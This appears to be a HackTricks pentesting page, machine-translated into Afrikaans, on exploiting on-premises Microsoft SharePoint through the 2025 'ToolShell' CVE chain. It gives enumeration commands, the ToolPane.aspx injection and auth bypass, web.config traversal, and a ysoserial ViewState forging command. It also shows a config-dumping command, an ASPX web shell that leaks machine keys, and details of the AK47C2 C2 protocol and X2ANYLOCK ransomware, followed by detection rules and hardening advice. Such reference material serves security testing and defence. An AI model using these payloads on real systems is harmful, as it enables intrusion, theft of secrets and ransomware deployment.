Microsoft SharePoint – Pentesting & Exploitation
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Microsoft SharePoint (on-premises) is gebou op ASP.NET/IIS. Die meeste van die klassieke web-aanvaloppervlak (ViewState, Web.Config, web shells, ens.) is dus teenwoordig, maar SharePoint verskaf ook honderde eie ASPX-bladsye en webdienste wat die blootgestelde aanvaloppervlak dramaties vergroot. Hierdie bladsy versamel praktiese truuks om te enumerate, te benut en volhard in SharePoint-omgewings met klem op die 2025-uitbuitingsketting wat deur Unit42 bekend gemaak is (CVE-2025-49704/49706/53770/53771).
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 exploit ketting (ook bekend as “ToolShell”)
2.1 CVE-2025-49704 – Kode-inspuiting op ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> laat willekeurige Server-Side Include kode toe om in die bladsy ingespuit te word wat later deur ASP.NET gecompileer word. ’n Aanvaller kan C# insluit wat Process.Start() uitvoer en ’n kwaadwillige ViewState laat val.
2.2 CVE-2025-49706 – Onbehoorlike Verifikasie Omseiling
Dieselfde bladsy vertrou die X-Forms_BaseUrl kop om die webwerf konteks te bepaal. Deur dit na /_layouts/15/ te wys, kan MFA/SSO wat by die wortelwebwerf afgedwing word, sonder verifikasie omseil word.
2.3 CVE-2025-53770 – Onverifieerde ViewState Deserialisering → RCE
Sodra die aanvaller ’n gadget in ToolPane.aspx beheer, kan hulle ’n ongetekende (of MAC-slegs) __VIEWSTATE waarde plaas wat .NET deserialisering binne w3wp.exe aktiveer wat lei tot kode-uitvoering.
As ondertekening geaktiveer is, steel die ValidationKey/DecryptionKey van enige web.config (sien 2.4) en vervals die payload met ysoserial.net of ysodom:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
Vir ’n diepgaande verduideliking oor die misbruik van ASP.NET ViewState, lees:
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – Pad Traversal / web.config Ontsluiting
Deur ’n vervaardigde Source parameter na ToolPane.aspx te stuur (bv. ../../../../web.config), word die geteikende lêer teruggestuur, wat die lekkasie van die volgende toelaat:
<machineKey validationKey="…" decryptionKey="…">➜ vervals ViewState / ASPXAUTH koekies- verbindingstrings & geheime.
3. Post-exploitatie resepte waargeneem in die natuur
3.1 Exfiltreer elke .config lêer (variasie-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
Die resulterende debug_dev.js kan anoniem afgelaai word en bevat alle sensitiewe konfigurasie.
3.2 Ontplooi ’n Base64-gecodeerde ASPX web shell (variasie-2)
powershell.exe -EncodedCommand <base64>
Gedekodeerde payload voorbeeld (verkort):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
Geschryf vir:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
Die skulp bied eindpunte om te lees / draai masjien sleutels wat die vervalsing van ViewState en ASPXAUTH koekies oor die plaas moontlik maak.
3.3 Obfuscated variasie (variasie-3)
Dieselfde skulp maar:
- gelaat onder
...\15\TEMPLATE\LAYOUTS\ - veranderlike name verminder tot enkele letters
Thread.Sleep(<ms>)bygevoeg vir sandbox-ontvlugting & tyd-gebaseerde AV omseiling.
3.4 AK47C2 multi-protokol agterdeur & X2ANYLOCK ransomware (waargeneem 2025-2026)
Onlangse insident-respons ondersoeke (Unit42 “Project AK47”) toon hoe aanvallers die ToolShell ketting na aanvanklike RCE benut om ’n dubbel-kanaal C2 implantaat en ransomware in SharePoint omgewings te ontplooi:
AK47C2 – dnsclient variasie
- Hard-gecodeerde DNS bediener:
10.7.66.10wat kommunikeer met die gesaghebbende domeinupdate.updatemicfosoft.com. - Boodskappe is JSON-objekte XOR-geënkripteer met die statiese sleutel
VHBD@H, hex-gekodeer en ingebed as sub-domein etikette.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- Lang navrae word in stukke verdeel en met
svoorafgegaan, dan weer saamgestel aan die bediener-kant. - Bediener antwoord in TXT rekords wat dieselfde XOR/hex skema dra:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- Weergawe 202504 het ’n vereenvoudigde formaat
<COMMAND>::<SESSION_KEY>en stuk merkers1,2,abekendgestel.
AK47C2 – httpclient variasie
- Hergebruik die presies dieselfde JSON & XOR roetine maar stuur die hex blob in die HTTP POST liggaam via
libcurl(CURLOPT_POSTFIELDS, ens.). - Dieselfde taak/resultaat werkvloei wat toelaat:
- Arbitraire skulp opdrag uitvoering.
- Dinamiese slaap interval en kill-switch instruksies.
X2ANYLOCK ransomware
- 64-bit C++ payload gelaai deur DLL kant-laai (sien hieronder).
- Gebruik AES-CBC vir lêer data + RSA-2048 om die AES sleutel te verpak, dan voeg die uitbreiding
.x2anylockby. - Herhaaldelik plaaslike skywe en ontdekte SMB deeljies enkripteer; slaat stelselpaaie oor.
- Laat ’n duidelike teksnota
How to decrypt my data.txtagter wat ’n statiese Tox ID vir onderhandelinge insluit. - Bevat ’n interne kill-switch:
if (file_mod_time >= "2026-06-06") exit(0);
DLL kant-laai ketting
- Aanvaller skryf
dllhijacked.dll/My7zdllhijacked.dlllangs ’n wettige7z.exe. - SharePoint-geboorte
w3wp.exebegin7z.exe, wat die kwaadwillige DLL laai as gevolg van Windows soekorde, wat die ransomware ingangspunt in geheue aanroep. - ’n Afsonderlike LockBit laaier waargeneem (
bbb.msi➜clink_x86.exe➜clink_dll_x86.dll) dekripteer skulp-kode en voer DLL holing ind3dl1.dlluit om LockBit 3.0 te laat loop.
[!INFO] Dieselfde statiese Tox ID wat in X2ANYLOCK gevind is, verskyn in gelekte LockBit databasisse, wat ’n ooreenkoms tussen vennote voorstel.
4. Opsporing idees
| Telemetrie | Waarom dit verdag is |
|---|---|
w3wp.exe → cmd.exe | Werknemer proses behoort selde ’n skulp te genereer |
cmd.exe → powershell.exe -EncodedCommand | Klassieke lolbin patroon |
Lêer gebeurtenisse wat debug_dev.js of spinstall0.aspx skep | IOCs regstreeks van ToolShell |
ProcessCmdLine BEVAT ToolPane.aspx (ETW/Module logs) | Publieke PoCs roep hierdie bladsy aan |
Voorbeeld XDR / Sysmon reël (pseudo-XQL):
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
5. Versterking & Versagting
- Patch – Julie 2025 sekuriteitsopdaterings herstel alle vier CVE’s.
- Draai elke
<machineKey>enViewStategeheime na ’n kompromie. - Verwyder LAYOUTS skrywe toestemming van
WSS_WPG&WSS_ADMIN_WPGgroepe. - Blokkeer eksterne toegang tot
/_layouts/15/ToolPane.aspxop proxy/WAF vlak. - Aktiveer ViewStateUserKey, MAC geaktiveer, en pasgemaakte EventValidation.
Verwante truuks
- IIS post-exploitatie & web.config misbruik:
IIS - Internet Information Services
Verwysings
- Unit42 – Aktiewe Exploitatie van Microsoft SharePoint Kw vulnerabilities
- GitHub PoC – ToolShell exploit ketting
- Microsoft Sekuriteitsadvies – CVE-2025-49704 / 49706
- Unit42 – Projek AK47 / SharePoint Exploitatie & Ransomware Aktiwiteit
- Microsoft Sekuriteitsadvies – CVE-2025-53770 / 53771
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

